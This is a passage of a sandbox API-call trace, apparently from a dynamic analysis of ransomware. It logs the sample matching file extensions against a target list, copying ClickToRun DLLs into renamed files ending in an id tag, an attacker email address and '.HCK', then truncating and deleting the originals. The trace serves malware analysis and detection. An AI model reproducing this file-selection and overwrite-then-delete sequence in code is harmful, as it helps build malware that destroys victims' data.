lpString2="0.dll") returned -1 [0159.197] lstrlenW (lpString=".pdf") returned 4 [0159.197] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.197] lstrlenW (lpString=".xls") returned 4 [0159.197] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.197] lstrlenW (lpString=".xlsx") returned 5 [0159.197] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.198] lstrlenW (lpString=".ppt") returned 4 [0159.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0159.198] lstrlenW (lpString=".zip") returned 4 [0159.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.198] lstrlenW (lpString=".rar") returned 4 [0159.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.198] lstrlenW (lpString=".bz2") returned 4 [0159.198] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.198] lstrlenW (lpString=".7z") returned 3 [0159.198] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0159.198] lstrlenW (lpString=".dbf") returned 4 [0159.198] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0159.198] lstrlenW (lpString=".1cd") returned 4 [0159.198] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0159.198] lstrlenW (lpString=".jpg") returned 4 [0159.198] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0159.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0159.198] lstrlenW (lpString=".doc") returned 4 [0159.198] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.198] lstrlenW (lpString=".docx") returned 5 [0159.198] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.198] lstrlenW (lpString=".pdf") returned 4 [0159.198] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.198] lstrlenW (lpString=".xls") returned 4 [0159.198] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.198] lstrlenW (lpString=".xlsx") returned 5 [0159.198] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.198] lstrlenW (lpString=".ppt") returned 4 [0159.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0159.198] lstrlenW (lpString=".zip") returned 4 [0159.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.199] lstrlenW (lpString=".rar") returned 4 [0159.199] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.199] lstrlenW (lpString=".bz2") returned 4 [0159.199] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.199] lstrlenW (lpString=".7z") returned 3 [0159.199] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0159.199] lstrlenW (lpString=".dbf") returned 4 [0159.199] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0159.199] lstrlenW (lpString=".1cd") returned 4 [0159.199] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0159.199] lstrlenW (lpString=".jpg") returned 4 [0159.199] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.199] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0159.199] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0159.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.200] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=26816) returned 1 [0159.200] CloseHandle (hObject=0x2e8) returned 1 [0159.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0159.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.200] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.200] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.201] GetLastError () returned 0x0 [0159.201] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x68c0, lpOverlapped=0x0) returned 1 [0159.203] WriteFile (in: hFile=0x38c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x68d0, lpOverlapped=0x0) returned 1 [0159.204] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.204] WriteFile (in: hFile=0x38c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11a, lpOverlapped=0x0) returned 1 [0159.204] SetEndOfFile (hFile=0x38c) returned 1 [0159.205] CloseHandle (hObject=0x38c) returned 1 [0159.740] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.740] SetEndOfFile (hFile=0x2e8) returned 1 [0159.741] CloseHandle (hObject=0x2e8) returned 1 [0159.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.741] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0159.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0159.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0159.755] lstrlenW (lpString=".doc") returned 4 [0159.755] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.755] lstrlenW (lpString=".docx") returned 5 [0159.755] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.755] lstrlenW (lpString=".pdf") returned 4 [0159.755] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.755] lstrlenW (lpString=".xls") returned 4 [0159.755] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.755] lstrlenW (lpString=".xlsx") returned 5 [0159.755] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.755] lstrlenW (lpString=".ppt") returned 4 [0159.755] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0159.755] lstrlenW (lpString=".zip") returned 4 [0159.755] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.755] lstrlenW (lpString=".rar") returned 4 [0159.755] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.758] lstrlenW (lpString=".bz2") returned 4 [0159.758] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.758] lstrlenW (lpString=".7z") returned 3 [0159.758] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0159.758] lstrlenW (lpString=".dbf") returned 4 [0159.758] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0159.758] lstrlenW (lpString=".1cd") returned 4 [0159.758] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0159.761] lstrlenW (lpString=".jpg") returned 4 [0159.761] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0159.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0159.761] lstrlenW (lpString=".doc") returned 4 [0159.761] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.761] lstrlenW (lpString=".docx") returned 5 [0159.761] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.761] lstrlenW (lpString=".pdf") returned 4 [0159.761] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.761] lstrlenW (lpString=".xls") returned 4 [0159.769] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.769] lstrlenW (lpString=".xlsx") returned 5 [0159.769] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.769] lstrlenW (lpString=".ppt") returned 4 [0159.769] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0159.769] lstrlenW (lpString=".zip") returned 4 [0159.769] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.769] lstrlenW (lpString=".rar") returned 4 [0159.769] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.769] lstrlenW (lpString=".bz2") returned 4 [0159.769] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.769] lstrlenW (lpString=".7z") returned 3 [0159.769] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0159.769] lstrlenW (lpString=".dbf") returned 4 [0159.769] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0159.769] lstrlenW (lpString=".1cd") returned 4 [0159.769] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0159.769] lstrlenW (lpString=".jpg") returned 4 [0159.769] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.769] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0159.769] lstrlenW (lpString="AppVIsvApi.dll") returned 14 [0159.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.769] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=468696) returned 1 [0159.769] CloseHandle (hObject=0x2e8) returned 1 [0159.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0159.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.770] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.770] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0159.770] GetLastError () returned 0x0 [0159.770] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x726d8, lpOverlapped=0x0) returned 1 [0159.779] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x726e0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x726e0, lpOverlapped=0x0) returned 1 [0159.785] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.785] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf0, lpOverlapped=0x0) returned 1 [0159.785] SetEndOfFile (hFile=0x398) returned 1 [0159.785] CloseHandle (hObject=0x398) returned 1 [0159.792] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.792] SetEndOfFile (hFile=0x2e8) returned 1 [0159.795] CloseHandle (hObject=0x2e8) returned 1 [0159.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.795] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 1 [0159.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0159.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0159.796] lstrlenW (lpString=".doc") returned 4 [0159.796] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.796] lstrlenW (lpString=".docx") returned 5 [0159.796] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0159.796] lstrlenW (lpString=".pdf") returned 4 [0159.796] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.796] lstrlenW (lpString=".xls") returned 4 [0159.796] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.796] lstrlenW (lpString=".xlsx") returned 5 [0159.796] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0159.796] lstrlenW (lpString=".ppt") returned 4 [0159.796] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0159.796] lstrlenW (lpString=".zip") returned 4 [0159.796] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.796] lstrlenW (lpString=".rar") returned 4 [0159.796] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.796] lstrlenW (lpString=".bz2") returned 4 [0159.796] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.796] lstrlenW (lpString=".7z") returned 3 [0159.796] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0159.796] lstrlenW (lpString=".dbf") returned 4 [0159.796] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0159.796] lstrlenW (lpString=".1cd") returned 4 [0159.796] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0159.796] lstrlenW (lpString=".jpg") returned 4 [0159.796] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0159.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0159.796] lstrlenW (lpString=".doc") returned 4 [0159.796] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.796] lstrlenW (lpString=".docx") returned 5 [0159.796] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0159.796] lstrlenW (lpString=".pdf") returned 4 [0159.796] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.796] lstrlenW (lpString=".xls") returned 4 [0159.796] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.796] lstrlenW (lpString=".xlsx") returned 5 [0159.796] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0159.796] lstrlenW (lpString=".ppt") returned 4 [0159.797] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0159.797] lstrlenW (lpString=".zip") returned 4 [0159.797] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.797] lstrlenW (lpString=".rar") returned 4 [0159.797] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.797] lstrlenW (lpString=".bz2") returned 4 [0159.797] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.797] lstrlenW (lpString=".7z") returned 3 [0159.797] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0159.797] lstrlenW (lpString=".dbf") returned 4 [0159.797] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0159.797] lstrlenW (lpString=".1cd") returned 4 [0159.797] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0159.797] lstrlenW (lpString=".jpg") returned 4 [0159.797] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.797] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0159.797] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0159.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.797] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=396960) returned 1 [0159.797] CloseHandle (hObject=0x2e8) returned 1 [0159.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0159.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.798] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.798] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0159.798] GetLastError () returned 0x0 [0159.798] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x60ea0, lpOverlapped=0x0) returned 1 [0160.280] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x60eb0, lpOverlapped=0x0) returned 1 [0160.285] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.285] WriteFile (in: hFile=0x398, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xfa, lpOverlapped=0x0) returned 1 [0160.285] SetEndOfFile (hFile=0x398) returned 1 [0160.552] CloseHandle (hObject=0x398) returned 1 [0160.557] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.557] SetEndOfFile (hFile=0x2e8) returned 1 [0160.560] CloseHandle (hObject=0x2e8) returned 1 [0160.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0160.561] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0160.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0160.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0160.561] lstrlenW (lpString=".doc") returned 4 [0160.561] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.561] lstrlenW (lpString=".docx") returned 5 [0160.561] 